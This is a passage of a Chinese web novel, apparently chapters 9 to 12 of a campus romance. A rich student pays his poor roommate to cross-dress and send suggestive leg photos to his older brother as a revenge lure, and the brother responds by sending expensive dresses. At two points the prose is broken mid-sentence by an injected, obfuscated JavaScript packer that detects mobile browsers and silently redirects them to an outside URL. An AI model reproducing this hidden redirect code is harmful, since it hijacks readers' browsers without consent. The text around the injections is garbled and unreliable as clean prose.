“我不知道啊,我没勾引过别人。”陶稚有些不好意思地挠了挠耳朵:“我真的不会。” “你教教我嘛。”陶稚真心实意地请教傅铮。 傅铮:“……” 傅铮也不会。 “笨。”还是忍不住说了出来。 “对不起嘛。”好脾气的陶稚同学一点也不生气。 他现在对挨骂免疫了不少,早已没有第一次时的不知所措和害怕了。 他还熟练地跟傅铮道歉:“我会试着聪明一点的,你别生气呀。” 傅铮:“……” 就是一个活脱脱的撒娇精,还好意思说自己不会勾引人。 傅铮有点无语,故意板着张脸:“等着,我找人问问。” “哦。”陶稚乖乖坐好,听候傅铮的安排。 ……有点可爱。 - 收到陶稚信息的时候,傅司珩正在看他的证件照。 找出陶稚的身份很容易。 傅铮之前因为成天在外面打架惹事,傅司珩不厌其烦,不准任何人再跟着他一块儿胡闹,把他身边的一些狐朋狗友清理了个遍。 打那以后,曾经的兄弟跟班们,见着傅铮只有绕着走的份。 傅铮以前的社交圈被傅司珩毁了个彻底,所以那个男生只有可能是后面认识的人。 大概率不是同学。 傅铮成天逃课,同学肯定认不全,助理先给傅司珩看了傅铮宿舍的人。 四人宿舍,几乎第一眼,他就确定了昨天晚上那人肯定是陶稚。 电脑屏幕上,阳光可爱的小男生对着镜头笑,颊侧陷出一点小小的梨涡。 陶稚。 这是名字。 ……还挺可爱。 傅司珩目光微微凝住。 紧接着,他的手机就收到了一条信息。 先是一个意义不明的表情,随后是照片。 映入眼帘的是一截纤长雪白的小腿。 照片的视角从上往下拍的,镜头中的人右腿微微屈起,露出内侧一粒黑色的小痣,条纹短裙上,漂亮的手指轻轻向下压着裙边,裙缝下有若隐若现的阴影。 这个视角非常诱人。 傅司珩的眸光暗了暗。 他刚放大照片,照片突然消失。 是对方撤回了。 ?小萌兔?:【傅哥,不好意思,我发错了><> 连网名都改了。 10. 裙子 傅铮以前朋友很多。 兄弟,小弟,跟班。他从小就是老大,身后总是跟着乌泱泱的一大群人。 从会走路懂事开始,一直都是这样。兄弟也都是认识了十多年的好兄弟。 但迫于傅司珩的压力,以前的那些人都不敢再跟着他瞎混瞎搞,傅铮也有很长一段时间没有跟他们联系了。 不过在微信上里聊聊天,给他出出主意什么的,他们应该不至于避之不及。 ——他也不是非要贴上去,实际上,他对这些人的背叛行径非常生气,曾经还发过誓再也不会搭理他们。 …… 但话又说回来。 他的那群朋友里面,有不少人是玩咖,从小学就开始谈恋爱的人还挺多,拥有恋爱经验,区区勾引人,对他们来说应该挺简单的。 暂时就原谅他们了吧。 傅铮很快说服自己,于是打开了久违的,被他屏蔽了许久了的不学无术富二代群。 此时群里正聊得火热,傅铮打开聊天框时,信息唰唰唰地滚动,看得大少爷忍不住皱了眉,往群里丢了个句号。 但很可惜,大少爷好不容易拉下脸的行为没有被人发现。 因为现在,大家正关注着另外一个惊天大八卦。 【卧槽,谁能想得到是男的,天天喊我老公宝贝,找我要钱说买漂亮的裙子,故意勾引我,拍照给我看,露些大腿啊胸啊锁骨腰什么的】 【他妈的网恋三个月,我给他花了17万8!!!】 【而且他是真买裙子啊,买了17万的裙子,他都穿给我看了,没骗钱去干别的,就纯买裙子!】 勾引。 关键词正确。 傅铮的手指停留在这一行,把这段话反反复复看了好几遍。 然后才向下滑动。 【所以,你的意思是,一个男的,用几张不露脸的女装照,让你花了17万8,并且对他死心塌地,到现在还不愿意报警,只想把人找出来,是吗?】 【……】 【他没想骗我钱,17万8,他是真的买裙子了。】 【?】 【真的,买的每条裙子都拍照给我看了。】 【?】 【不是,这图啥啊。】 【我刚还想说假照你都分不出来,纯脑残,结果,真买啊???真穿啊???真拍啊???】 【对,所以我被骗了也合理,对吧。】 【……】 【那么,您是怎么发现男装女的呢?】 【他说他退三坑了,不陪我玩了,我草,然后就把我删了,还自爆是男???我服了。】 【哥们,你现在说的每一句话都挺离谱的,真的。】 【你就老实告诉我们,这其实是大冒险对吧,你他妈大早上就去酒吧开喝了,瘾这么大的吗?】 【真是离谱他妈给离谱开门,离谱到家了。你寡太多年开始男女不分了是吧,就算是拍那种照片,男女也有体型上的差异吧,这不是很容易就能认出来吗?】 【没有。】 【我不是脑残。】 【我已经三个月没去酒吧了,网恋对象管得严。】 【真的很漂亮。】 【发出来鉴定一下。】 【滚。】 【“很漂亮”,6,你小子现在还在回味是吧。】 【纯脑残。】 【兄弟,你还爱,你超爱,你完蛋啦。】 傅铮:“……” 虽然没有前因后果,但看这几段聊天记录,傅铮大概了解发生了什么事情。 要是发生在前几天,他也会跟着说脑残。 男女都分不清了,被骗了17万8还回味人家很漂亮,被钓得像条狗一样,连报警都不愿意,傻逼一个。 但是。 傅铮脑海里莫名想到了陶稚昨天穿女装时的那双腿。 那张脸。 ……别说。 还真分不出来。 脑海里骤然出现昨天晚上穿女装的陶稚,傅铮感觉眼前一阵发晕,好不容易稳住心神,结果一抬眼,发现陶稚用很天真单纯的眼神在看他。 像一只淳朴的毛绒小兔,看向他的目光柔软纯净,两人目光对视的时候,陶稚还对他笑了一下,露出尖尖的小虎牙。 傅铮莫名有点脸红,连忙抿直了唇角,继续去看手机。 但这次什么都看不下去了,随便翻了翻后,他打字:【细说一下勾引。】 【你那网恋对象是怎么勾引你的,我要全部的内容。】 【?】 - 吃完早餐后,陶稚和傅铮一块儿回了宿舍。 陶稚完全不知道傅铮脑海里的邪恶计划,只觉得傅司珩身为一家大公司的总裁,应该没那么多空闲时间总是出现在会所酒吧之类的地方。所以下次见面估计还不知道是什么时候。 这正好遂了陶稚的意。 有个缓冲时间也挺好的,短期内他也不想再和傅司珩尬聊了。 但很可惜。 两人刚回到宿舍,一关上门,傅铮就打开衣柜,拿出昨天陶稚穿过的那套女装。 陶稚顿时瞪大了眼。 还没来得及问傅铮想要干什么,就听见傅铮主动开口,向他说明了新的计划。 在不见面的时候也要装女生,在微信上喊哥哥,时不时拍点照片什么的发给他,刷个存在感,包括但不限于,穿裙子照片,腿照,锁骨照之类的。 再分享一下生活。 这就是网恋的全部流程。 陶稚听完:“?” “……” 陶稚,一个淳朴老实的,山沟沟考出来的大学生,哪里能想到城里人能邪恶成这样? 让他扮女生也就算了,现在竟然还要他拍……呃,那种照片去勾引。 他当场呆住,伸手指指自己,好像在问—— 我吗? “当然是你。”陶稚震惊,傅铮的表情却是十分淡定:“你放心好了,不会拍很过分的照片,腿照就行。” 陶稚昨天又不是没光着腿和傅司珩呆过,现在只是要求他拍区区腿照而已。 很简单。 傅铮不仅不觉得自己的要求过分,甚至还有点怀疑这力度是不是太小了,傅司珩到底会不会上钩。 但转念一想。 万一傅司珩就跟他的傻逼朋友一样没有见过世面,被几张腿照锁骨照裙子照就忽悠得找不着北了,爱得深沉了呢。 总之,先试试吧。 傅铮将裙子丢给陶稚。 陶稚接下了。 ——完全是下意识的。 但抱住之后反应过来,脸涨得通红,后退了好几步:“可是这样好奇怪啊,傅铮,我、我们怎么能这么做呢。” “怎么奇怪了。”傅铮不以为意。 陶稚后退,他就往前走。 很快,他就将陶稚堵在了门上。 陶稚:“……” 陶稚不太想做。 他抬头看向傅铮,想要求饶,却只在傅铮眼里看到对复仇的渴望。 “再说了,你又不是没对傅司珩露过大腿。” 陶稚:“……” 是有露过。可是,可是怎么能这么说呢。 “那不一样。”陶稚小声地,硬着头皮为自己辩解。 “没什么不一样的。”傅铮认识陶稚也挺久了,自然知道什么办法对他有用。 懒得跟他继续废话,傅铮直接拿出手机,给他转了一万块:“现在可以了吧?” 陶稚:“……” - 陶稚再次屈服在了傅铮的金钱攻势之下。 钱他收了,照片也答应了要拍,顺便还按照傅铮的要求,改了个可可爱爱的,小萌兔的网名。 太可爱了。 可爱到陶稚捂了好一会儿脸才平静下来,接受了这个网名。 手掌从脸上挪开时,雪白的脸颊依旧泛红,陶稚不好意思地询问:“怎么拍啊。” 傅铮:“……” 他怎么知道啊。他又没有拍过。 陶稚真是一点脑子也不用,全在问他应该怎么做,不知道的还以为他很有经验呢。 他也没谈过好不好。 “百度看看。”傅铮面无表情地说。 陶稚哦了一声,乖乖百度。 他百度,傅铮站在旁边看他百度。 浏览了一会儿,陶稚抬头:“我知道了。” …… “?” 傅铮好像听不懂似的,依旧堵在他的面前,低着脑袋不动。 陶稚表情疑惑:“傅铮?” “问你个事。”傅铮终于从手机上抬起眼了。 刚刚看了一片白花花的大腿,他现在表情非常一言难尽。尤其涉及到一些很……那什么姿势的时候。 他也终于明白了所谓的腿照,并不是他以为的那种腿照。 想到待会陶稚就要拍,傅铮看着他单纯的脸,莫名有点冒火:“你家到底欠了多少钱啊?” 怎么给钱什么都答应? “啊。”陶稚愣了愣。 然后非常老实地回答:“三十多万吧。” “怎么了?”他问道。 傅铮:“……” 才三十万。 这笔钱对以前的傅铮来说,不过是一晚上的消费。 但对陶稚来说却是个天文数字,零零散散地借了很多家亲戚才借到。 借亲戚的钱,虽然不用利息,但也并不轻松。 比如堂哥家打算明年结婚,要在县里买婚房,不止一次来他们家,明里暗里地催促他们早点还钱。 除此之外,陶稚高中三年,都是他班主任资助的。 家里太难了,险些辍学进厂打工,是他高中班主任帮忙出学费生活费,才能让他一直读下去,考上个好大学。 老师没有说过让他还钱的事情,但这笔账陶稚一直记在心里。 他真的很缺钱。 只要不是卖-身的事,狠狠心也就答应下来了。 傅铮出手很大方,陶稚很感激他。但他不知道现在傅铮又是什么意思,望向他的眼神只有不解。 “算了。”傅铮皱了下眉,压下自己的怪异的心思,往后退了几步,给陶稚让路。 陶稚哦了一声,捏着短裙,去洗手间换上。 …… 换完出来,陶稚坐到了自己的椅子上。 他现在穿的鞋子和裙子不太相配,所以出来后,他将鞋子脱下,赤脚踩在了地板上。 泛着凉意的地板,落下时,陶稚的脚趾不自觉地蜷缩了一下。 陶稚的脚好白。 脚背上泛着淡青色的脉络,脚趾圆润,修剪得十分整齐干净。 蜷缩的动作让指盖下泛起了淡淡的薄红,又很快舒展开。 从某种程度上来说,陶稚是一个非常保守,传统的人。 所以他选的拍照姿势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796043|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相对来说,也不算露骨。 端端正正地坐着,腿稍微往前伸了一点,露出一点小腿,双手拿着手机,从上往下俯拍。 “咔嚓”一声响起,终于将傅铮的注意力从陶稚的脚趾上挪开。 紧接着,一个手机伸到他眼下。 “这样可以吗?”陶稚问道。 傅铮回神,看向照片。 很白。 很细。 很清纯…… 但是—— 怎么说呢。 也不是不好看,就是太板正了。不像勾引,像完成任务。和之前照片里看的不一样。 啧。 之前还觉得陶稚笨笨的很老实,没想到老实人竟然也学会耍滑了。 偏偏陶稚还完全没有意识到自己问题,还用一双十分柔软单纯的眼神看他,仿佛在说—— 我很听话的,对吧? 哼。 傅铮完全没被他纯良的样子“骗到。” 想象了好几遍傅司珩落魄的样子,傅铮终于成功压下自己心里泛起的怪异心思。 他直接拿起陶稚的手机,找到先前看到的一张照片,给陶稚看:“重拍,按照这个拍。” 手机屏幕上,是女生平躺在床上,穿着漂亮的睡裙,屈起腿的照片。 ……有点露。 裙边刚好搭在大腿根部,两条细细的腿摩擦着,勾引意味十足。 陶稚顿时脸都垮下来了,可怜兮兮的。 “快去。”傅铮催促他。 “哦……”没办法,老板都发话了。 陶稚拿回手机,踩着床梯往上爬。 他完全意识不到穿着裙子爬床梯是一件很危险的事情。 本身裙子就很短,抬腿向上的动作,带起裙摆晃动,并且随着陶稚站在高处,傅铮差点看到他的—— 傅铮一瞬间脸涨得爆红,连忙转身,咬着牙低骂。 “……?”陶稚双手扶着床梯的扶手,转头不解:“又怎么了?” “没什么。”硬邦邦的声音。 “卧槽。”还是没忍住,傅铮抓了下头发,往门外走去:“我出去抽根烟。” “哦。”陶稚应了一声,不解,只觉得觉得傅铮真的很喜欢骂人…… - 有了标准之后,陶稚的任务完成得十分出色。 几乎一比一地复刻照片角度。 很快一张新的照片就诞生了。 陶稚的皮肤很白,鲜少暴露在阳光下的部位尤其。 雪白细腻的肌肤,不用修图软件就可以直出的漂亮肤色,腿部线条优美,笔直纤长。照片的边缘处,稍微露出了一点裙边,用修剪得干干净净的手指头轻轻压着。 ——因为陶稚觉得这实在是太暴露了,必须要压住才能稍微安心一点,以防止走光,被发现是男生。 他倒是不懂,这半遮半掩,裙缝下面晦暗不明的阴影,比模特图还要引人遐想。 陶稚自己看了一眼,觉得遮住了,应该没问题,就先将照片发给了傅铮。 傅铮过了好几分钟才回复他:【可以,发给傅司珩吧。】 陶稚照做。 任务终于完成,陶稚松了一口气,正准备换下裙子,傅铮的信息又来了。 傅铮:【照片发了?】 陶稚:【嗯嗯嗯。[小兔子乖乖点头.jpg]】 傅铮:【行。】 傅铮:【现在撤回。】 陶稚:【啊?】 傅铮:【别啊,按照我说的去做,撤回之后说自己发错了。】 傅铮:【说话嗲一点。】 陶稚:【哦。】 不懂,但乖乖照做。 信息发过去的下一秒,他收到了傅司珩的回复。 傅司珩:【那是准备发给谁?傅铮吗?】 嗯? 陶稚惊讶地睁大眼,过了好几秒才想起来回复。 小萌兔:【不是呀……就拍着玩的,不小心发送了。】 傅司珩:【哦。】 陶稚连忙把这段对话发给傅铮,问他接下来该怎么回复。 但傅铮竟然没有秒回他。 …… 傅铮此刻,正在查看他的余额。 他预留了五万块,化妆买衣服花了13888,让陶稚心甘情愿拍照又花了10000。 昨晚代驾300,今天早餐100。 从来没有为钱苦恼的傅二少爷,此刻只觉得钱完全不够花—— 陶稚穿女装很漂亮,但只有一条裙子实在太单调了。 他刚刚找容槐问新衣服的事情,容槐一连发了很多照片给他。 每一件都很合适陶稚,但一问价格都不便宜。 草。 傅铮连烟也不抽了,绷着唇角心想,大不了接下来吃食堂。 …… 傅司珩似乎也发现了这点。 亲兄弟有时候,总是会在一些莫名其妙的地方充满默契。 就在陶稚以为和傅司珩的聊天结束时,手机忽地连续响了好多声。 他低头去看。 傅司珩:【这是昨天的裙子吧。】 傅司珩:【怎么没换。】 傅司珩:【图片】 傅司珩:【图片】 傅司珩:【图片】 …… 一连七八张裙子的照片,各种类型都有,陶稚手指向下滑动。 傅司珩:【喜欢吗?】 11. 狠戾 陶稚捏着手机茫然了好一会儿。 怎么突然问他喜不喜欢了? 好多裙子啊。 各种风格的都有。 光看图片都能感觉到很贵,和陶稚十几块一件的T恤裤子完全不一样。 陶稚也不敢乱回,他怕哪句话说不好就破坏了傅铮的计划。在他眼里,这群有钱人都挺奇怪的。 所以陶稚非常谨慎,将今天和傅司珩的所有聊天记录全部转发给了傅铮,然后问傅铮,他应该怎么回复。 但更奇怪的是,越是这种紧急的时刻,傅铮回信息的速度就越慢。 聊天记录发过去了,等了将近五分钟都没有动静,急得陶稚频频往门口张望,可压根看不到傅铮的半点身影。 怎么还不回来? 不然出去找他吧。 傅铮说出去抽根烟,应该就在楼梯的平台处或者走廊窗户那儿。 陶稚刚准备起身,手机这时很合时宜地响起,打断了他的动作。 他低头去看。 久久没有收到回复,傅司珩又发来信息:【嗯?】 “……” 算了,还是先回复傅司珩再说,一直把人晾着也不是个办法。 陶稚重新看了一遍所有图片。 他一个男生,对女生的衣服谈不上喜不喜欢的,只能尽量以中性的眼光去看待,最后精心回复道:【很漂亮。】 但是。 小萌兔:【裙子好像有点短了哎。】 一共十多套裙子,几乎一多半是短裙。 还有一小半是连衣短裙。 大概位置……也就是刚好能包住屁股的程度。 傅司珩:【短吗。】 傅司珩:【我以为你喜欢穿短裙。】 陶稚:啊? 这又是什么天大的误会? 陶稚连忙否认:【没有这回事!】 昨天穿的裙子是容槐选的,刚穿上时他就觉得太短了。后来跟着傅铮出去,走在路上,总觉得身后凉飕飕的,别扭得要命。 也就是后面用傅司珩的西装搭着腿,才让他觉得安心不少,没有了走光的困扰。 他怎么可能会喜欢穿短裙啊。 傅司珩:【哦。】 紧接着,他又发过来了好几张图片。 这次都是长裙。 各种款式的长裙,过膝的,九分的,及踝的,应有尽有。陶稚看得眼花缭乱,以及,手机屏幕上还有一句熟悉的“那这些你喜欢吗?” 陶稚:“……” 陶稚不算是一个自作多情的人,但傅司珩表现得实在太过明显,以至于陶稚很难不往自己身上去想。 他捏着手机好一会儿,试探着打字询问:“请问,这些是您想要买给我的吗?” 傅司珩回复得很快:【对。】 啊…… 陶稚这下更加茫然了。 傅司珩好奇怪啊,为什么忽然想到要给他买裙子,是觉得现在的裙子不好看吗? 陶稚不解,并且也表达了自己的不解。 傅司珩收到这条信息时,先是抬头看了一眼电脑屏幕上的陶稚证件照。 温和的,乖巧的小男生。 看上去安静腼腆,对着面前的镜头露出笑容。 很可爱。 胆小怕事却又讲义气。 也不知道这种性格的人,是怎么跟傅铮相处下去的。 撞见他揍傅铮的时候,明明怕得要死,却没有逃跑,而是硬着头皮进屋。 冷汗都被吓出来了。 …… 脖子真白。 冷汗顺着脸颊线条慢慢划过,落在锁骨上,摇摇欲坠,再掉进了衣领里。 想到这里,傅司珩的喉结很轻微地滚动了一下。 还有穿着女装的时候。 那不适应的样子,是个人都能看出来,好像走路都不会走了,好几次都同手同脚,浑身都是破绽。 很笨。 现在笨蛋都能来当骗子了? 也不知道傅铮用什么手段诱惑了他办这些事。 大概是,钱? 傅铮还挺喜欢做这种事的。 想到这个可能性,傅司珩忍不住嗤笑。 如果是这样的话,那钱,恐怕是现在的傅铮最缺的东西了。 傅铮给不了他好东西,所以那个可怜的小室友,来来回回就只有一条短裙可以穿。 那不如让他来。 也能让他好好看看蠢货和小笨蛋到底能使出什么招数,最终目的又是什么。 所以,中途提供一点便利,只是顺手的事情而已。 没有其他原因。 傅司珩低头打字:【没有为什么,随便买买。】 傅司珩:【不贵。】 唔。 可能对他们那种有钱人来说不贵吧。 陶稚光是看图片都能感觉到一股扑面而来的昂贵感,怎么可能会便宜。 偏偏傅司珩还在继续问:【喜欢吗?喜欢就买给你。】 为了让陶稚没有后顾之忧,他还主动说:【我让助理送到你学校的保卫室,你自己去拿就好了。】 “……” 陶稚挠了挠脑袋。 他也不知道自己该不该接受。 他对女装是没有什么感觉的,那都是傅铮下达给他的任务,谈不上喜不喜欢……所以,还是得问傅铮。 想到这里,陶稚又打算出去找人了。 就很凑巧。 这个想法刚升起,门口便传来了吱呀的声响。 陶稚抬眼望去,正好看见傅铮进来。 此时此刻看见他,陶稚还怪兴奋的,有种终于能把烫手山芋丢出去的感觉。 “傅铮!你没有回我信息,你快看看你哥哥说的这些话!” 陶稚热情地喊他,语气无比欣喜:“快来快来,等你好久了!” 傅铮愣了一下。 他其实没有听清陶稚的话,只疑惑他为什么看到自己后能表现得那么开心。 还有,陶稚光说不够,还扑腾着想要下床。 他赤脚踩下床梯,傅铮一眼就看见了他的腿,目光再往上移,百褶裙的裙摆被蹭上去,薄薄的一片布料,就只搭在大腿的边缘处,这会儿还要下床。 傅铮脑海里忽地回想起了就在十几分钟之前,他偷偷的……不对,是不小心看到的,裙摆的弧度—— 草草草草草草。 傅铮脑袋都快要冒烟了,像是开水壶似的,嗡嗡嗡地直叫。 他连忙一个大跨步走过去,按住了陶稚,牙都要咬碎了:“你要干嘛!” “啊?”陶稚不懂他为什么又生气,被吓了一跳。 尤其按住他的时候,傅铮滚烫的手掌让他下意识挣扎,结果一不小心,脚踢在了傅铮的脸上。 傅铮的动作顿住,人也愣住了。 陶稚也愣住了。 准确来说,不是脸,应该是下巴靠近嘴唇的位置,脚趾踩在了上面。 糟、糟糕。 陶稚顿时如临大敌—— 确实挺糟糕的,莫名其妙地被人踢了一脚,按照傅铮的脾气,那绝对不会善了,非得把人给揍一顿不可。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796044|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但他回过神后的第一反应竟然不是生气,而是陶稚的脚怎么有点…… 草。 生不起气来啊。 “对不起对不起!”陶稚连忙道歉,匆匆忙忙收回脚。 脸上骤然一空,傅铮莫名觉得心里好像也跟着一空。 “我刚刚是想要跟你说,你哥回信息了……” 傅铮:“……” 傅铮哦了一声,顺手扯过陶稚早上起床时,叠得整整齐齐的小薄被,搭在他膝盖上。 可算正常了。 “手机给我。”傅铮此时的语气冷酷坚硬。 非常冷酷。跟冬天屋檐下的冰棱子似的,吓得陶稚不敢再多说一句多余的话,连忙奉上自己的手机。 傅铮拿着手机出去了。 他倒要看看傅司珩那个玩意发了什么信息,让陶稚那么难回。 结果一低头。 裙子。 衣服。 鞋子。 配套的首饰。 还一连好几套。 傅铮顿时脸都扭曲了,差点没把陶稚的手机给捏碎。 - 但他还是替陶稚收下了这些东西。 没什么其他的原因。只是按照他的计划,陶稚确实大量地需要女装。而他也确实……捉襟见肘。 手头剩下的钱,只够在容槐那儿买上一套衣服,商场里的那些平价货,傅铮被养刁了的口味,觉得都配不上。 既然傅司珩愿意做这个冤大头,那就让他做好了。 衣服几天后送过来,但很不巧,陶稚当天满课。 傅铮倒是有空,因为他下午的最后一节课逃掉了。 收到陶稚发来的信息时,傅铮给他回了个电话,说自己去拿。 陶稚惊了一下。 哪里敢劳烦大少爷去干体力活啊,陶稚立马把这当作表忠心的机会,说自己下课马上就去拿。 傅铮很不爽,但又说不出哪里不爽,最后只叫陶稚别啰嗦,然后冷着脸,去保卫室拿陶稚的东西。 刚巧,容槐今天有空,也来给傅铮来送衣服。 淡绿色的吊带长裙,以及配套的鞋子,一共花了1万多。 傅铮一起拿了回宿舍,再一起顺手拆开。 他买这条裙子的时候,一眼就被吸引了。 很清新的颜色,适合陶稚这种清纯的类型。 很贵也咬咬牙买下了。 但现在,他又拆开了傅司珩送来的其他衣服。 好几家奢侈品牌的高定礼服,秀款,各种乱七八糟的衣服全部堆在一起,简约的,复杂的,应有尽有。 这么一对比,衬得他那条绿色裙子简直平平无奇。 傅铮臭着张脸,拆完全部的衣服,又开始不爽了。 先是骂傅司珩臭不要脸,送的都是些什么衣服,然后站在原地好一会儿,似乎下定了一个很大的决心,给他之前的好兄弟打去电话。 网恋被骗17万8的怨种兄弟。 打了两三个电话才接通,傅铮委婉别扭地说了下借钱的事情。 借得也不多,就二十万。对他来说洒洒水的事情,结果那位17万8哥听到后,立马摇头拒绝:“二少,不是不借给你,给你都没问题啊,但是你哥……珩哥不让啊。” “真的没办法,二少。” 傅铮:“……” 6。 挂断电话的傅铮脸色很难看。 傅司珩这是在想尽办法堵死他所有的路。 既然这样,那就别怪他心狠手辣了。 傅铮狠戾地想。 12. 电话 再次收到傅司珩的信息时,陶稚依旧在上课。 16:55,下午的第二节课。 距离上次的信息,大概过去了有一个小时的时间。 上条信息是傅司珩告诉他,衣服已经让人送过来了,大概半小时左右到学校,让陶稚抽空去门卫那儿拿。 陶稚当时也在上课。 他回了个好后,又觉得似乎有点儿敷衍,于是加上了小兔子点头的小表情包,傅司珩也很快给他回了个嗯。 没想到这还没有下课,就又收到信息。 陶稚的手机是放在桌面上的,压着一侧的书,屏幕亮起的时候,他先是看了一眼讲台上的老师,然后才拿起来。 傅司珩:【衣服有拿到吗?】 陶稚眨了眨眼。 嗯?这么着急的吗? 陶稚有点疑惑。 但转念一想,傅司珩送过来的那些衣服估计都很贵重,为了避免遗失,确实是该早点去拿。 嗯,应该就是这样。 还好已经有人帮他拿了。 不然弄丢了什么东西,估计也很麻烦。 陶稚自动逻辑补全,认真打字回复:【傅哥,我让同学帮我拿了。】 陶稚:【[小兔子转圈圈.jpg]】 陶稚这种小兔子表情包特别多,是妹妹分享给他的。 每次他觉得说话干巴巴,显得有点敷衍的时候,都会加上表情包,语境看上去就完全不一样了。 很友好。 但傅司珩却:【……】 陶稚:“?” 省略号是什么意思? 陶稚刚想问,傅司珩撤回了。 紧接着下一条信息:【哦。】 陶稚挠了挠脑袋。 不懂,但这样应该算聊天结束了吧? 毕竟一个“哦”他也不知道怎么回复。 于是陶稚放下手机,再次投身知识的海洋中,专心听起了课。 这次维持了十分钟。 十分钟后,压着课本的手机再次亮起,陶稚微微一怔,侧头瞥了眼。 没解锁的手机屏幕上,赫然显示着【傅司珩发来一条信息。】 ……嗯? 怀着疑惑的心情,陶稚再次点开。 傅司珩:【这些裙子你穿上应该很好看。】 啊。 是吗? 陶稚其实没有怎么认真看过自己穿女装的样子。 就只有在容槐店里那次,化好妆后,对着镜子看了一眼。 他当时就只觉得很别扭,有点害羞,也没有认真去看。 但他一向是个实事求是的老实人。 小萌兔:【不知道呢。】 小萌兔:【希望穿上能合适吧。】 小萌兔:【傅哥,我现在正在上课,等回去再看衣服。】 傅司珩:【哦。】 傅司珩:【我也要去开会。】 小萌兔:【嗯嗯^v^】 小萌兔:【那下课了我再联系您哦。】 附加一个小兔子wink表情包。 很可爱。 - 结果下课了也没有联系。 因为当时正是兵荒马乱的六点钟,大家都着急地往食堂冲去。 陶稚虽然不急,但他担心被人撞到,所以动作得很慢。 像个蜗牛似的慢吞吞地收拾东西,等人都走得差不多了,才抱着自己的书包,离开了教学楼。 出去后的第一件事就先给傅铮打电话,问他晚饭吃什么,之前的私房菜馆有没有送饭过来,他要去哪里拿。 傅铮:“……” 开屏就被暴击,他早就吃不起那家私房菜馆了。 草。 傅铮有种被人扇了一耳光的感觉。 偏偏罪魁祸首完全没有意识到,还不停地在问他:“傅铮,你有听到吗?你订饭了吗?” “还是你点了外卖啊?” “外卖放在哪里了。” 傅铮:“……” 傅铮开始恼羞成怒。 他什么时候这么窘迫过啊?陶稚都敢踩他头上了,实在可恶。 对傅铮来说,陶稚根本不是合格的小弟。他完全不会看人的脸色,反而是别人越不想听到什么,他却偏偏总往那个点踩。 完事之后还一脸无辜茫然,睁着双雾蒙蒙的眼,看上去怪委屈的。 ……也怪可爱的。 真特么服了。 都这样了,竟然对他生不起气来,只觉得难堪,生自己的闷气。 想到这里,傅铮不禁咬牙, 他觉得陶稚有点儿太过分了—— “嗯?怎么又没声了?”电话里传来男生疑惑的声音:“喂喂喂?傅铮你还在吗?” “傅铮?傅铮?” 刚升起来的火苗,倏地一下,被人浇灭了。 猝不及防。 “……在。” 然后又是一阵沉默。 陶稚觉得傅铮这个人真的蛮奇怪的。 如果不是他的老板的话,他绝对不会跟他做朋友,只做一个点头之交的室友。 因为实在太难伺候,问个晚饭都要问上那么久,陶稚已经觉得有点饿了。 他摸了摸自己的肚子。 “……你晚上吃什么?” 半晌,陶稚终于听到了傅铮的回话。 一开始他还没有察觉到哪里不对劲,老老实实地告诉傅铮:“我吃食堂啊,二食堂的套餐挺好吃的。” 又好吃又便宜,十块钱能吃一荤两素。 “哦,那你也帮我带一份过来吧。”傅铮轻咳一声,语气别扭地说道:“你吃什么我吃什么。” “好啊……哎?”陶稚一口答应,应完才发现不对劲,愣了好几秒后才开口问道:“你吃食堂啊?” 傅铮:“……” 傅铮深吸了一口气:“对。” 如果陶稚再听不懂语气继续往下问—— “哦。”陶稚并不是听懂了傅铮恼羞成怒的语气,而是习惯性地答应。 和傅铮相处了大半个月,他很清楚对于傅铮的命令只需要服从就可以了,没必要问什么。 没准大少爷突然脑子抽了,想体验一下平民的食物也说不定呢。陶稚自动将事情合理化,应下一句知道了后,便飞速挂断了电话。 独留想好维持脸面借口的傅铮愣在原地,半晌,对着嘟声的电话,很不礼貌地爆了一句粗口。 - 打菜的时候,陶稚犹豫了片刻,还是给傅铮买了二食堂最高的20元档,三荤一素套餐。 因为陶稚自己吃的是最便宜的十元套餐,感觉就算傅铮想体验平民的食物,也应该不会想吃他这种。 其实傅铮想要吃食堂的话,他可以去七食堂那边给他买。 那边贵一点,菜色也就更好一点。 但他今天忘记说了,又懒得再绕个弯……老实人虽然老实,但偶尔也不会完全老实。稍微松弛一下,不完全为金主着想,也不会被发现。 陶稚刷饭卡,付完两份饭钱后,提着打包的饭,快快乐乐地回宿舍。 他是一个特别容易满足的人。 只要每天上完课,傅铮不作妖,就是美好的一天。 傅铮现在没作妖,所以他现在心情挺好的。 晚上七点钟,陶稚推开宿舍的门。 相比于早上离开,干干净净的宿舍,晚上回来时,则显得杂乱不少。 因为傅铮把傅司珩送来的衣服全部拆了。 而拆下来那些包装盒,防尘袋什么的,全部乱七八糟地丢在垃圾桶里。 垃圾桶都堆满了,放不下的,就全部散在周围。 陶稚见状,立马放下手里的饭,眼里很有活地准备收拾残局。 傅铮:“……” 傅铮看着他的动作,不知道为什么,莫名有点不爽。 陶稚蹲在地上捡垃圾的时候,他顺手把他提起来,然后一通乱收,把所有的包装盒,全部堆在了门口的角落。 然后又把之前乱七八糟放在陶稚桌子上椅子上的衣服,一股脑地抱起来,丢在了自己床上。 把陶稚看得目瞪口呆的。 好野蛮的收东西方式啊…… “就这样吧,先吃饭,我饿死了。”傅铮冷酷地说。 “……” “哦哦,好的,好的。”陶稚也饿了,只好暂时先不管那些东西。 他把傅铮的饭递给他后,自己坐在椅子上开始吃。 陶稚吃得很开心。 